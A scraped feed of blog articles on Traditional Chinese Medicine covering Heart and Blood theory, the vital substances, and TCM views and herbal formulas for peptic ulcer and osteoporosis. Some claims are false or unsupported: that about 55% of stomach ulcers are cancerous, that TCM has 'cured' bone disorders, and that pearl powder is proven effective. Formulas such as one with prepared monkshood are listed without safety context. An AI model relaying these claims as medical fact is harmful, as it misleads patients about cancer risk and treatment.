  1. Governs the Blood
  2. Controls the Blood Vessels
  3. Manifests in the Complexion
  4. Stores the Shen (Houses the Mind)
  5. Opens to the tongue
  6. Controls Sweat

 

Governs the Blood

  1. Transformation of Gu Qi (Food Qi) into Blood occurs in Heart
  2. Responsible for smooth flowing of Blood

Heart must be healthy for proper supply of Blood to all tissues. When Heart Qi impaired, i.e., Heart Blood or Qi is deficient, circulation of Blood is affected (hands cold).

Controls the Blood Vessels 

Blood Vessels (not same as in Western Medicine) depend on Heart Qi and Blood, i.e., if Heart strong and Blood plentiful, pulse will be full and regular. If Heart Qi or Blood is weak, pulse may be irregular/weak (choppy). 

Manifests in the Complexion

If Heart Blood is abundant, there will be a rosy and lustrous complexion. 

Deficient Heart Blood: pale chalky complexion (plus other signs e.g. palpitations).

Deficient Heart Qi: Bright white complexion
Stagnant Heart Blood: Bluish purple complexion

Stores the Shen

When there is abundant Heart Blood and Yin: Shen will be nourished. Individual will respond appropriately to the environment and Shen will retire to the Heart.

Weak Heart Qi, Deficient Blood or Heat in Heart: Shen is not nourished. Symptoms vary, may include dull thinking, poor memory, insomnia, sleepiness, or (esp. with Heat) agitation, mania and delirium.

Opens to the Tongue (the offshoot of the heart)

The Heart has a large influence on the color, form, and features of the tongue, and is represented in the tip of the tongue. The normal tongue is a pale red color, and the sense of taste is normal.

Controls Sweating

Body Fluids and blood share a common origin and are interdependent. Because the Heart governs Blood and there is a mutually sustaining relationship between blood and fluids, sweat is related to the heart.

]]> Blood http://acuherb.us/blood/ Fri, 29 Jun 2012 17:17:56 +0000 http://acuherb.us/?p=1508

In Traditional Chinese Medicine, it is said…

Blood is denser form of Qi
Blood is inseparable from Qi
Qi moves Blood; Blood is the mother of Qi
Qi gives life and movement to Blood, but Blood nourishes the Organs that produce Qi.

Blood and Ying (Nutritive) Qi are particularly closely connected: flow together in the vessels.

The Origin of Blood

  1. Food Qi produced by the Spleen is sent upward to Lungs, and Lungs push it to the Heart, where it is transformed into Blood. The transformation requires the assistance of the Original Qi stored in the Kidneys.
  2. Kidney Essence produces Marrow: this generates the bone marrow, which contributes to making Blood.

Therefore: Blood is formed from the interaction of the Postnatal Jing (source of Food Qi, refined from Food by Spleen and Stomach) and the Prenatal Jing (stored in Kidneys).

Chinese theory of blood forming function of the bone marrow predated the arrival of Western Medicine.

Function

  1. Nourishes the body: complements the nourishing action of Ying Qi. As a denser form of Qi, it flows with the (Ying) Qi in the vessels and channels all over the body.
  2. Moistens body tissues, ensures that they do not dry out. Blood is part of Yin, fluid-like and moistening .
  3. Supports the Shen. The Shen is said to live in the Blood Vessels, which are part of the Heart. The Blood nourishes and supports the Shen, giving it a foundation.

Where Blood is deficient, the Shen can become uneasy, with symptoms of vague anxiety, slight irritability, unease and inability to fall asleep.

 

Relationship of Blood with the Internal Organs

The Heart

  1. The Heart governs the Blood. The Blood Vessels (tissue associated with the Heart and part of the whole system of the Heart in TCM) are where it circulates.
  2. The Blood is made in the Heart, via the Heart Fire (Yang). Blood on the other hand, cools the Fire and prevents it from flaring up.

The Spleen

  1. Spleen produces Food Qi, which is the basis for the formation of Blood.
  2. Spleen Qi keeps the Blood in the Vessels so that it does not extravasate.

(Deficient Spleen Qi can result in Qi being unable to hold the Blood, resulting in hemorrhages.)

The Liver

Liver stores the Blood.

  • When person is active, Blood flows to the muscles and tendons (governed by the Liver). When person lies down, Blood flows back to Liver.
  • Liver Blood moistens the eyes, ensuring good eyesight and also moistens the sinews, promoting flexibility of joints.
  • Liver Blood supplies the uterus with Blood, together with the Penetrating Vessel (Chong Mai – one of the eight Extraordinary or Ancestral Vessels), with which it is closely related. Therefore Liver Blood is very important for regular and healthy menstruation.

The Liver, Blood, and Gynecology

Kidneys store Jing and Liver stores Blood. 
Kidneys are the mother of the Liver in 5 Element theory. 
Jing and Blood mutually support each other. 
Jing is indirectly transformed into Blood, and Blood nourishes and replenishes Jing. 
Kidney Jing controls reproductive function and influences Blood. (Kidney Jing creates Liver Blood). 

Women’s physiology is more dependent on Blood than that of men. 
State of Liver Blood is very important regarding menstruation. 
E.g., if Liver Blood deficient, this can cause amenorrhea or scanty menstruation. 
E.g., if Liver Blood is stagnant, this can cause dysmenorrhea.

Lungs

  1. Assist Spleen in sending Food Qi to the Heart to form Blood.
  2. Control the channels and Blood Vessels by filling the Blood Vessels with Qi to assist the Heart’s pushing action.

Kidneys

  1. Original Qi (stored in Kidneys) is needed to transform Food Qi into Blood.
  2. Kidney stores Jing, which produces Marrow. Marrow generates bone marrow, which contributes to the formation of Blood. 

To nourish Blood in TCM, we must therefore tonify (increase energy of) the Spleen and Kidneys.

However, the Heart, Spleen & Liver have the most direct relationship with the Blood: Heart governs Blood, Spleen holds Blood in the Vessels and the Liver stores Blood.

 

]]> The Vital Substances http://acuherb.us/the-vital-substances/ Fri, 29 Jun 2012 17:16:39 +0000 http://acuherb.us/?p=1506
  • Jing (Essence)
    The refined and precious substance that is the material basis for all life. It influences our constitution, reproduction, growth and development, and our longevity. It is the foundation for the production of Qi and aids in the production of marrow. There is both Prenatal and Postnatal Jing. 
  • Xue (Blood)
    Blood is the densest of the vital substances, flowing through the vessels to moisten and nourish the Yin Yang organs, the tendons and muscles, the skin, and the sensory organs. Blood is the mother of Qi, and houses the Shen (Mind).
  • Jin Ye
    Origins, functions, and Yin Yang organ relationships for the thin light and watery fluids of the body, as well as the more dense and heavy fluids of the body.
  • Qi (Vital Energy or Life Force)
    Qi is the vital energy or life force that flows through the body’s Meridians, Yin Yang organs, and is responsible for moving the blood.
  • Forms of Qi
    Yuan Qi, Zong Qi, Zhen Qi, Zhong Qi, Zheng Qi, Gu Qi.
  • Functions and Movements of Qi 
    Qi can transform, transport, hold, raise, protect, and warm. Qi also has a normal flow or direction of movement associated with each Yin Yang organ. 
  • The Relationship of Blood and Qi
]]> Peptic Ulcer http://acuherb.us/peptic-ulcer/ Tue, 03 Apr 2012 01:43:44 +0000 http://acuherb.us/?p=1463

By Dr. Kenneth Wang

Peptic ulcer disease (PUD) is a mixed group of disorders that involve the gastrointestinal (GI) tract. The stomach and duodenum (upper part of the intestine) are the most common locations where ulceration occurs. The rate of occurrence of PUD is variable and depends on ulcer type, age, gender and geographic location. For example, in Japan, stomach ulcers occur at five to ten times the rate of duodenal ulcers, while in the United States and most European countries duodenal ulcers are about two times as common as stomach ulcers.

Individuals with chronic peptic ulcer disease will experience periods of remission and recurrence of the disease, while acute peptic ulcers are limited to a specific patient population and clinical scenario. When left untreated, PUD may result in serious complications such as gastrointestinal bleeding and cancer. Stomach ulcers are much more likely to result in death or disability due to a greater likelihood of causing hemorrhage, perforation, or obstruction. In addition, while duodenal ulcers are almost never cancerous, approximately 55% of stomach ulcers are cancerous. 

Peptic ulcer is a terminology that belongs to modern medicine; there is no mention of it in the history of Traditional Chinese Medicine (TCM). Instead, because of the nature of its symptoms, it is categorized as “stomach ache” or “epigastric pain.” It is associated with the spleen, liver and gall-bladder because these organs play an important role in the development of the disease. 

According to the five elements theory, the spleen and stomach belong to earth, and the spleen has an interior-exterior relationship with the stomach. Both of these organs are responsible for the digestion, absorption and transportation of food, and control blood production and its circulation. 

The liver and gall-bladder belong to wood and they jointly regulate qi (vital energy) and the emotions, enhancing digestion and blood flow. In normal circumstances, wood (liver and gall-bladder) restricts the earth (spleen and stomach) which means that the spleen and stomach are under the control of the liver and gall-bladder. If the liver is hyperactive, it unduly restricts functioning of the spleen, causing an imbalance in the body. According to the five elements theory, the resulting situation is described as “wood overacting on earth.”

Causes

According to TCM, peptic ulcer can be caused by any of the following: 

1. Dietary injury
Diet is an important cause of  stomach disorders. The stomach receives and ripens food; the spleen transforms and transports refined nutrient essence up towards the lungs, whilst the stomach sends waste down towards the intestines. The descending function of the stomach corresponds with the ascending function of the spleen, and this is crucial in ripening, transporting and transforming nutrient essence and wastes in the middle burner. Improper eating habits affect the stomach easily which leads the stomach-qi to flow in the wrong direction, and results in nausea, vomiting, hiccups or belching.

2. Emotional distress 
Emotional problems have a profound influence on stomach disorders. When emotions such as anxiety, pensiveness, grief and anger predominate, liver yang ascends and liver qi stagnates which, in turn, affects the functioning of the spleen and stomach. In the absence of the liver’s regulatory function, the spleen cannot successfully transport and transform food into qi and blood, and the stomach cannot send waste down to the intestines. This causes epigastric pain, belching or nausea.

3. Weakness of spleen and stomach
This may be due to genetic constitutional weakness, or mental over-exertion over a long period. A person tends to get digestive problems like a poor appetite, vomiting or diarrhea, and possibly also muscle weakness and low energy. When attacks from pathogenic factors become more serious, stomach disorders occur easily.

Symptoms

Gastric pain, a major manifestation of peptic ulcer, usually occurs in the epigastric region or upper abdomen. Episodes of pain may be periodic, rhythmic or chronic. If seasonal, the pain usually occurs in late autumn, and the nature of pain is manifested as a dull, stabbing, distending, burning or hunger pain. Among the different types of pain, intermittent mild dull pain is most frequent. This usually lasts one or two hours but, in rare cases, it can last several days. The pain can be relieved by alkaline drugs or food. Along with pain, associated symptoms are belching, sour regurgitation, excessive saliva, nausea or vomiting. 

The location of gastrointestinal (GI) ulcer can be implied by the symptoms. People with stomach ulcers usually complain of pain being caused or worsened by food. They also describe the pain as being widespread over the lower abdomen. When someone has a duodenal ulcer the pain is typically described as sharp and burning in nature with a specific point of tenderness. In contrast to stomach ulcers, people with duodenal ulcers usually experience relief of pain with food.

Other symptoms of a duodenal ulcer include a feeling of abdominal pressure, fullness or hunger. People with duodenal ulcers may also be awakened at night due to the normal nighttime peak in acid secretion. It is important to be aware of “alarm symptoms” which can be present in people who have serious complications from peptic ulcer disease (PUD) such as bleeding or people with stomach cancer. These “alarm symptoms” include weight loss, vomiting, back pain, vomit that has the appearance of “coffee grounds” and dark tarry stools.

 

Diagnosis

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and observation of symptoms. A diagnosis is based on the traditional four examination techniques:

1. Questioning The TCM practitioner will establish the medical history of both the patient and his family.
2. Observation Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
3. Listening and smelling The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
4. Touching Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

For details, please see article on “What to Expect from a TCM Doctor’s Examination“. 

TCM practitioners will usually begin with a thorough investigation of the patient’s complaints and categorize the symptoms under special syndrome groups known as “disharmony patterns.” The disharmony patterns are present at different stages of a disorder. The practitioners will look at both the major manifestations, and “disharmony patterns” which are described below: 

1. Qi stagnation
The patient feels distending pain in the epigastric region, and fullness and oppression in the hypochondrium (the upper lateral sides of the abdomen). These symptoms would worsen with emotional disturbance, and can be relieved by discharge of intestinal gas or belching. The patient tends to sigh, has a poor appetite and experiences oppression in the chest and sour regurgitation. On examination, the tongue is covered by a thin white fur, and the pulse is taut. 

2. Heat retention
The patient feels a burning pain in the epigastric area. Eating offers no obvious relief; instead, it may even make the symptoms worse. The mouth is dry with a bitter taste. Other symptoms include thirst and a desire for cold drinks, sour regurgitation, irritability, clamoring stomach and constipation. On examination, the tongue is red with yellow fur, and the pulse is taut or rapid. 

3. Yin deficiency
The patient feels a dull, burning epigastric pain which becomes worse on an empty stomach. Other associated symptoms include thirst and a disinclination to drink, dryness of the mouth, poor appetite, retching, constipation, and a feverish sensation in the palms, soles and chest. On examination, the tongue is red and dry, with cracks in the central portion. It is covered with little or scattered, cracked fur. The pulse is thready or rapid.

A pale tongue with indented margin, the cracks in the central portion indicate spleen and stomach dysfunction.

4. Deficient cold
The patient feels a dull epigastric pain which tends to ease with warmth and massage. An attack can be easily induced or worsened by over-exertion. The pain worsens on an empty stomach. Although the pain can be relieved by eating, abdominal distention will follow. Other associated symptoms are fatigue, sleepy, reluctance to speak, and loose stools. On examination, the tongue is pale and bulky with indented margin, and it is covered by a thin white fur. The pulse is deep, thready or slow.

5. Blood stasis 
The patient experiences a fixed, stabbing pain in the epigastric area. But when the pain becomes extreme, it sometimes radiates towards the chest and the back. This may be accompanied by coldness of the limbs, sweating, vomitting blood or blood in the stools. On examination, the tongue is dark purple, and may have bruises or patches on the surface. The pulse is hesitant.

In general, during the pathological course of peptic ulcer, the above syndromes develop at different stages. In the early or active stages of peptic ulcer, qi stagnation and heat retention syndromes are quite common. TCM terms these as a sthenia or excess (shi) syndromes in which the body offers a relatively strong resistance. 
In the late or recovery stages of peptic ulcer, yin deficiency and deficient cold syndromes are more common. TCM terms these as a sthenia or deficiency (xu) syndromes in which the body’s resistance is very weak. 
Blood stasis syndromes can develop at any stage, but occurs mostly in the middle and late stages. The syndrome has a deficiency nature but presents excitatory signs, or having both excess and deficiency syndromes inter-mixed.

Treatment

In TCM, treatment for peptic ulcer is based on “disharmony patterns,” or therapies according to the western symptoms of peptic ulcer syndromes. An alternative is to integrate western and Chinese approaches to create a synergetic effect on the disease, thus enhancing clinical efficacy. The following are brief introductions to TCM approaches:

A. Treatment based on TCM syndromes

Qi stagnation 

Therapeutic aim: Soothing the liver to regulate qi. Commonly used prescriptions are modified chaihu shugan tang, sini sanand xiaoyau san.

Sample of Prescription: chaihu shugan tang

chai hu Chinese tororwax root
chen pi dried tangerine peel
shao yao peony
zhi ke bitter orange
zhi gan cao liquorice root (processed with honey)
chuan xiong Szechuan lovage
xiang fu nut grass

Heat retention

Therapeutic aim: Soothing the liver and eliminating heat. Commonly used prescriptions are modified huagan jian, zuojin wan and banxia xiexin tang.

Sample of prescription: banxia xiexin tang

ban xia pinella tuber
huang qin baical skullcap
gan jiang fried ginger
ren shen ginseng
zhi gan cao liquorice root (processed with honey)
huang lian golden thread
da zao common jujube fruit

Yin deficiency

Therapeutic aim: Nourishing yin to strengthen the stomach. Commonly used prescriptions are modified 
yiguan jian, yangwei tang and liuwei dihuang tang.

Sample of Prescription: yiguan jian

sha seng adenophora
mai dong dwarf Lily-turf
dang gui Chinese angelica root
sheng di dried rehmannia root
qi zi Chinese wolfberry fruit
chuan lian zi toosendan fruit

Deficient cold

Therapeutic aim: Warming the middle burner to strengthen the spleen. Commonly used prescriptions are modified huangqi jianzhong tang, sijun zi tang, lizhong tang and liangfu wan.

Sample of Prescription: huangqi jianzhong tang

huang qi Mongolian milkvetch root
gui zhi cassia twig
zhi gan cao liquorice root (processed with honey)
da zao common jujube fruit
shao yao peony
sheng jiang fresh ginger
yi tang maltose


Blood stasis

Therapeutic aim: Activating blood to resolve stagnation. Commonly used prescriptions are xuefu zhuyu tang and gexia zhuyu tang.

Sample of Prescription: xuefu zhuyu tang

dang gui Chinese angelica root
sheng di dried rehmannia root
tao ren peach seed
hong hua safflower flower
zhi ke bitter orange
chi zhao common peony root
niu xi twotooth achyranthes root
jie geng balloonflower root
chuan xiong Szechuan lovage
chai hu Chinese tororwax root
gan cao liquorice root

During the treatment, herbs like liquorice root (gan cao), tendrilleaf fritillary bulb (chuan bei), common bletilla tuber(bai ji), notoginseng (san qi) rhubarb (da huang) are added in the prescription for additional relief of dyspeptic symptoms. Some prescriptions to astringe (lessen) acid secretion are effective for related complaints, e.g. mixed powder of thunberg fritillary bulb(zhe bei mu) and cuttle-fish bone (wu zei gu) can be used. 

B. Single Proven Prescription

In practice, a lot of recipes have been proved effective against the disease but were not listed in medical journals. These recipes do not follow any particular diagnostic rules in TCM but are used only when the disease is confirmed as peptic ulcer. For example pearl powder is effective in providing relief from symptoms and speeding up the healing of an ulcer. 

C. Acupuncture and moxibustion

This method is used to provide pain relief, and commonly applied according to the differentiation of the affected meridian. For example, in the case of liver and stomach disharmony, acu-points in the Leg Yang Ming Stomach Meridian and Leg Jue Yin Liver Meridian are chosen. 

 

]]> Osteoporosis http://acuherb.us/osteoporosis/ Fri, 30 Mar 2012 19:57:55 +0000 http://acuherb.us/?p=1459

Osteoporosis is a debilitating condition of skeletal fragility that predominantly affects women and is particularly common in the elderly. It is a metabolic bone disease characterized by a parallel reduction in bone mineral density and bone matrix, leading to deterioration of the micro-architecture of bone tissue and impairment of the structural integrity of trabecular bone (the inner part of bone that consists of a meshwork of bony bars with numerous interconnecting spaces containing marrow). The consequence is that although the bone tissue has normal composition and proper mineralization, the bone mass (density) is reduced and the bone becomes more fragile. To establish a diagnosis of osteoporosis, the individual bone mineral density is compared with the peak bone mass measurement in the healthy young adult. This comparison is made by means of standard deviation (SD) units (T scores). Clinically, a patient is said to suffer from osteoporosis if his/her bone density falls 2.5 SD below the mean of normally mineralized bone, calculated in comparison to age-, sex-, and race-matched controls (a T score of  2.5). For example, compared to standardized bone density measurements of the total hip of 833 mg/cm2, in osteoporosis, the same measurements will be lower than 648 mg/cm2(World Health Organization). If not prevented or if left untreated, osteoporosis can progress painlessly until a bone breaks. Any bone can be affected, but of special concern are fractures of the hip and spine. A hip fracture almost always requires hospitalization and major surgery. It can impair the ability to walk unassisted and may cause prolonged or permanent disability, or even death. Spinal or vertebral fractures also have serious consequences, including loss of height, severe back pain and deformity.

Multiple etiologic factors of osteoporosis have been identified, which give the various disease types their names.

Postmenopausal, estrogen-deficient osteoporosis
Age-related osteoporosis
Diet-related bone loss
Disuse osteoporosis
Endocrine-mediated bone loss
Disease-related bone loss
Drug-induced bone loss
Heritable osteoporosis

Statistics

Osteoporosis is a major public health concern that affects more than 28 million Americans, 80 per cent of whom are women. Women are more likely than men to develop osteoporosis because, as a group, they have lighter bones, less total calcium, and also lose bone at a rate three times greater than that of men. In the US today, 10 million individuals have the disease and 18 million more have low bone mass, placing them at increased risk for osteoporosis. Ten per cent of African-American women over the age of 50 years have osteoporosis; an additional 30 per cent have low bone density that puts them at risk of developing osteoporosis. Significant risk has been reported in people of all ethnic backgrounds.

The disease accounts for more than 1.5 million fractures per year in the US: one out of every four women by the age of 70 develops an osteoporotic fracture; and one in two women and one in eight men over the age of 50 will have an osteoporosis-related fracture in their lifetime. These fractures include the following (approximate figures):

300,000 hip fractures
700,000 vertebral fractures
250,000 wrist fractures
300,000 fractures at other sites

Osteoporosis is defined in Western medicine as loss of bone density. The disease is most commonly seen in women and is characterized by reduced bone mass, deterioration of bone tissue and an increased risk of bone fractures. It is induced by a physiological degeneration within the body that affects the formation and loss of bone tissue.

The skeleton is the frame of body that protects the internal organs and allows movement. Cavities within the bone store bone marrow, which nourishes the bones and helps manufacture cells such as red and white blood cells and platelets. TCM believes that bone growth is controlled by the kidneys and that the bone marrow is derived from the essential qi or essence of the kidney, called jing. In recent years, many bone disorders have been successfully cured by TCM practitioners through treatment of the kidney. 

In the traditional Chinese medicine (TCM) classic Huang Di Nei Jing (The Yellow Emperor’s Medicine Classic), bone diseases with similar symptoms to osteoporosis were given names like “bone flaccidity syndrome,” “withered bone syndrome,” “arthralgia syndrome” and “bone atrophy syndrome.” These syndromes refer to various kinds of bone diseases, but share the common symptom of reduced bone mass. Modern TCM practitioners believe that the features of “bone flaccidity syndrome” and “bone atrophy syndrome” are most consistent with today’s understanding of osteoporosis.

Causes

Bone quality is a significant factor that affects the development of osteoporosis. This parameter is determined by bone mass (as measured by bone density) and also by the micro-architecture of bone. Bone density at any given time depends on both the peak bone density achieved during development and subsequent adult bone loss. Collectively, these affect the relative intactness of bones, with respect to tensile strength, fragility and freedom from fatigue damage. Many studies demonstrate the ability of bone density to predict fractures, especially fragility fractures (those caused by minor trauma). The risks vary depending on the populations studied and on the technique of measuring the bone density.

Nonmodifiable risk factors

Advanced age : Bone density increases dramatically during puberty in response to gonadal hormone release and eventually reaches values in young adults that are nearly double those of children. After peak bone density is reached, bone density remains stable for years and then declines.
Gender : Considerable evidence suggests that bone loss begins before menses cease in women and in the third to fifth decade in men. In women, once the menopause is established, the rate of bone loss is accelerated several-fold. The chances of developing osteoporosis are greater for woman because they have less initial bone tissue and lose it more rapidly because of the changes involved in the menopause.
Family history and personal history of fractures as an adult : Susceptibility to fracture may be, in part, hereditary. Young women whose mothers have a history of vertebral fractures also seem to have reduced bone mass. A personal history of a fracture as an adult also increases fracture risk.
Race : Caucasian and Asian women are more likely to develop osteoporosis..


Potentially modifiable risk factors 

Bone structure and body weight : Small-boned, fair-skinned, and thin women are at greater risk.
Estrogen deficiency : Normal or early menopause (brought about naturally or because of surgical removal of the ovaries) increases the risk of developing osteoporosis. A menstrual history of late-onset menses, or of amenorrhea (absence of menstrual periods) also increases risk.
Lifestyle : Stress, smoking, excess alcohol consumption, and a sedentary lifestyle are associated with the development of osteoporosis.
Diet : A high intake of caffeine, phosphorous, or protein, and a diet poor in calcium and vitamin D affect bone formation.
Poor eyesight : Impaired eyesight despite adequate correction can lead to falls.
Poor health/frailty Medications : A number of drugs taken for other conditions can have an affect on osteoporosis, either because they interfere with bone formation or accelerate its loss.
Chronic health problems : Diseases such as chronic liver disease, chronic liver failure, endocrinopathies (eg, diabetes, hyperthyroidism), malabsorption syndromes, rheumatoid arthritis, and chronic anorexia can also be risk factors for osteoporosis.

From TCM’s viewpoint, osteoporosis is caused by a kidney deficiency. As people get older, the essential qi (jing) of the kidney gradually declines and results in a lack of nutrients for the bones to grow and function properly. This causes the bones to become fragile and break or deform easily. Bone fractures can be hard to heal due to the lack of nourishment and kidney deficiency.

The causes of kidney deficiency leading to osteoporosis are as follows: 

1. Exhaustion of kidney essence.
Kidney essence may be depleted in one of three ways:

A congenital deficiency (a deficiency you are born with) and the aggravation of external factors, such as excessive sexual activities and frequent childbirth, cause the kidney essence to become severely depleted. This leads to loss of bone nutrients.
The elderly are especially vulnerable to osteoporosis if they do not take good care of their bodies because the depletion of kidney essence accelerates with age.
Exogenous pathogens can easily invade and damage the kidney when vital qi (energy) is insufficient. This causes the development of osteoporosis. .
2. Acquired Deficiency
Under normal conditions, the spleen and stomach are responsible for changing digested nutrients into qi, blood, and acquired (postnatal) jing. Over-consumption of alcohol and food can damage the spleen and stomach and reduces the amount of jing available to nourish the bone, bone marrow and muscle. Additionally, when the stomach and spleen dysfunction, a decline in formation of qi and blood results and this can contribute to osteoporosis development.
3. Invasion of exogenous pathogens
Osteoporosis can occur when external cold and dampness evils, which are exogenous pathogens, invade the body and impair the vital qi (energy) and kidney qi. This leads to a deficiency of kidney essence (jing) and a failure in the bone marrow to replenish the nutrients needed to retain bone strength. Other symptoms such as lumbago (back pain) and arthralgia (joint pain) can occur when cold and dampness evils stagnate in the tendons and joints, blocking the circulation of qi and blood in that area. 

TCM followers believe that external cold and dampness pathogens can invade the body under the following conditions:

Living in cold and moist areas for a long time
Exposure in a windy place while drinking alcohol
Bathing or taking a shower while sweating
Eating too much cold food and
Lying in damp and moist open areas such as wet grassy fields.

Symptoms

The clinical symptoms of primary osteoporosis are:

Lumbago (back pain)
Decrease in body height and /or hump back (kyphosis) giving a stooped appearance
Bones that easily fracture
Difficulty in breathing due to malformation of the back limiting the amount of air that can be inhaled.

Persons with osteoporosis will also be diagnosed with a TCM disharmony pattern. (See diagnosis section). Each disharmony pattern displays different symptoms, which are described as follows:

1. Yin deficiency of the liver and kidneys
  The individual experiences soreness and pain in the back and loins, weakness in the loins and knee joints, general weakness and fatigue, dryness of the mouth and throat, a hot sensation in palms and soles, and night sweating or spontaneous sweating.
2. Blood deficiency and excessive dampness
  This manifests as soreness and pain in the back and loins, a hump back, pale complexion, heart palpitations and dizziness. There may also be pain and soreness in the joints or the lower limbs may be swollen.
3. Retention of dampness and kidney deficiency
  This disharmony pattern is characterized by lower back pain, localized chills, weakness and soreness in the loins and knees. In severe cases the lumbar vertebrae (lower back bones may collapse or a hump back develop. Additional symptoms are a cold feeling in the limbs, urinary frequency, and an aversion to the cold. The symptoms may be aggravated in a cold environment or with a drop in the ambient temperature.
4. Asthenia-syndrome of superficies and interior dampness retention
  The individual suffers from pain in the hip and back, joint swelling, sweating and has an aversion to wind (coldness). A sense of heaviness may also be felt.
5. Cold in the superficies and heat in the interior
  The symptoms here are body aches and sweating, and an aversion to cold temperatures. Additional symptoms can include dry mouth, thirst, and constipation.
6. Marrow deficiency and channel bi-syndrome
  The individual experiences pain in lumbar region. In severe cases, the lumbar vertebrae may collapse or a hump back may occur. Joints can become deformed and develop limited movement. Individuals may also experience dizziness, heart palpitations, and shortness of breath.

Diagnosis

Osteoporosis is an insidious disease that can remain silent for decades before the bone is weakened to the point that it sustains a spontaneous fracture. The earliest signs of osteoporosis are often associated with compression fractures of the spine characterized by an episode of acute pain in the middle to low thoracic or high lumbar region . Decrease in height and appearance of a dowager’s hump are reliable indicators of the early progress of the disease. Also, the patient often reports early satiety and a bloated feeling after eating only a small amount of food. 

A bone mineral density (BMD) test is the only way to diagnose osteoporosis and determine an individual’s risk for future fracture. It measures the density of the bones (bone mass) and will indicate whether medication is needed to help maintain bone mass, prevent further bone loss and reduce fracture risk. The BMD test is accurate, painless and noninvasive. It is also possible to determine the rate of bone loss and/or monitor the effects of treatment if tests are conducted at intervals of a year or more.

Criteria approved for BMD tests are summarized below:

estrogen-deficient women at clinical risk of osteoporosis.
vertebrate abnormalities on x-ray suggestive of osteoporosis (osteopenia, vertebral fracture)
primary hyperparathyroidism – abnormal function of the parathyroid glands itself which result in high level of blood calcium.
monitoring response to an FDA-approved medication for osteoporosis.

For an uncomplicated patient with osteoporosis, a laboratory work-up may be recommended in addition to a BMD test. 

Based on four examination techniques, TCM practitioners will diagnosis osteoporosis according to its clinical symptoms and further characterize it by the disharmony patterns displayed by each individual. At various stages of disease, different disharmony patterns are present and individuals with the same disease will be treated differently depending on the type of disharmony pattern they have. 

The common disharmony patterns of osteoporosis are:

1. Yin deficiency of the liver and kidneys
  When the body perceives that it is inadequate in bone marrow, the liver and kidney will hyper-function to compensate. This results in a relative yin deficiency inside the body. Virtual “fire” is produced and presents as heat symptoms. On examination, the tongue is red with a scanty thin fur coating. The pulse feels thready and rapid.
2. Blood deficiency and excessive dampness
  Improper functions of the spleen and stomach lead to a decline in the production of blood and bone marrow, plus an accumulation of dampness. It gives rise to a non-smooth flow of blood and qi, which in turn supply inadequate nutrients to the bones. People may feel weakness, back pain or joint pain. On examination, the tongue is pale and covered with greasy fur. The pulse sign is deep and rolling.
3. Retention of dampness and kidney deficiency
  The kidneys govern water, produce marrow, dominate the bones and manufacture blood. The kidney yang energy is the source of all heat in the body. Kidney deficiency occurs when cold and dampness evils damage the kidneys. This results in inadequate kidney essence (jing) to supply the bone marrow and causes deterioration of the bones. Symptoms can manifest as back pain and hump back. On examination, the tongue is pale and covered with white greasy fur. The pulse feels deep, thready and stringy.
4. Asthenia-syndrome of superficies and interior dampness retention
  This is a morbid condition resulting from the exposure to exogenous pathogens in a person whose organs, like the spleen and stomach, are in a hypo-functioning state. When the body accumulates lot of evils (most likely dampness and coldness), stagnation of qi flow in the meridians and the joints occurs and results in impairment of organ and bones, which leads to symptoms of sluggishness, tired and heavy limbs, and joint pain. On examination, the tongue has a white coating. The pulse sign is deep and rolling.
5. Cold in the superficies and heat in the interior
  This morbid condition results from the wind and cold evils that accumulated in the superficial regions of body has invaded interiorly and transformed into heat evil. This process manifests as both heat and cold syndromes clinically. These syndromes cause kidney damage and lead to failure supply of kidney essence (jing) for bone growth. On examination, the tongue is red and covered with white greasy fur, or yellow-colored fur. The pulse feels thready, stringy and rapid.
6. Marrow deficiency and channel bi-syndrome
  When marrow is seriously exhausted, the body skeleton loses nutrients. The accumulated evils block the channels or meridians that are the paths for transportation of nutrients and this accelerates the bone deterioration. The person presents with serious symptoms like severe bone or joint pain and bone distortion. On examination, the complexion may appear pale or dark in color. The tongue is dark red, and covered with white greasy fur. The pulse feels deep and stringy.

Treatment

A blend of Western and TCM approaches can be of benefit in the treatment of osteoporosis. Often a combined treatment produces better outcomes than the exclusive use of one method. It is best to get the advice of a TCM practitioner who knows what is best for you and your condition. The treatments described below are some approaches that may be taken to treat the different TCM syndromes associated with osteoporosis.

1. Yin deficiency of liver and kidney


Therapeutic aim:Nourishes yin for kidney and liver, replenishes jing and marrow.

Prescription: liuwei dihuang pellet with modification

gan di huang dry rehmannia root
shan yu rou Asiatic cornelian cherry fruit
huai shan yao common yam root
fu ling Indian bread
dan pi tree peony bark
gou qi chi Barbary wolfberry fruit
chuan duan Himalayan teasel root

In this prescription, rehmannia, cornelian cherry and wolfberry are used to nourish the yin of the liver and kidneys; peony bark clears away heat evil and nourishes yin. Common yam and Indian bread invigorate the spleen and eliminate dampness evil; they also counteract the greasy properties of the other herbs. Teasel root tonifies the kidneys and strengthens tendons and bones. 

2. Blood deficiency and excessive dampness


Therapeutic aim: Nourishes the blood and dispels dampness evils. 

Prescription: Danggui Shaoyao powder plus additional supplement

dang gui Chinese angelica
bai shao white peony root
fu ling Indian bread
bai zhu large head atractylodes root
ze xie oriental waterplantain rhizome
chuan xiong Szechuan lovage root
fang ji four stamen stephania root
gui zhi cassia twig
gan jiang dried ginger
gan cao liquorice root

In the prescription, angelica, peony root and lovage root are used to activate blood circulation and nourish the blood. Cassia can remove obstruction in the meridians, activate blood circulation, and relieve joint pain. Indian bread, atractylodes root, waterplantain rhizome, and stephania root are used to invigorate the spleen and eliminate dampness evil. Ginger and liquorice root warm the middle burner and ease the stomach. Additionally, angelica, peony root, and lovage root can stimulate blood production. Indian bread, atractylodes root and cassia also eliminate the dampness evil and relax the tendons, as well as nourishing the tendons and bones.

3. Retention of dampness due to kidney deficiency

Therapeutic aim: Warms the yang and dispels dampness evils. 

Prescription: zhenwu decoction plus additional supplement 

zhi fu pian prepared common monkshood daughter root
bai shao white peony root
sheng jiang fresh ginger
fu ling Indian bread
bai zhu large head atractylodes root
gui zhi cassia twig
bu gu zhi malaytea scurfpea fruit
chuan duan Himalayan teasel root
sang ji sheng Chinese taxillus herb
xing ling pi epimedium herb
ji xue teng suberect spatholobus stem

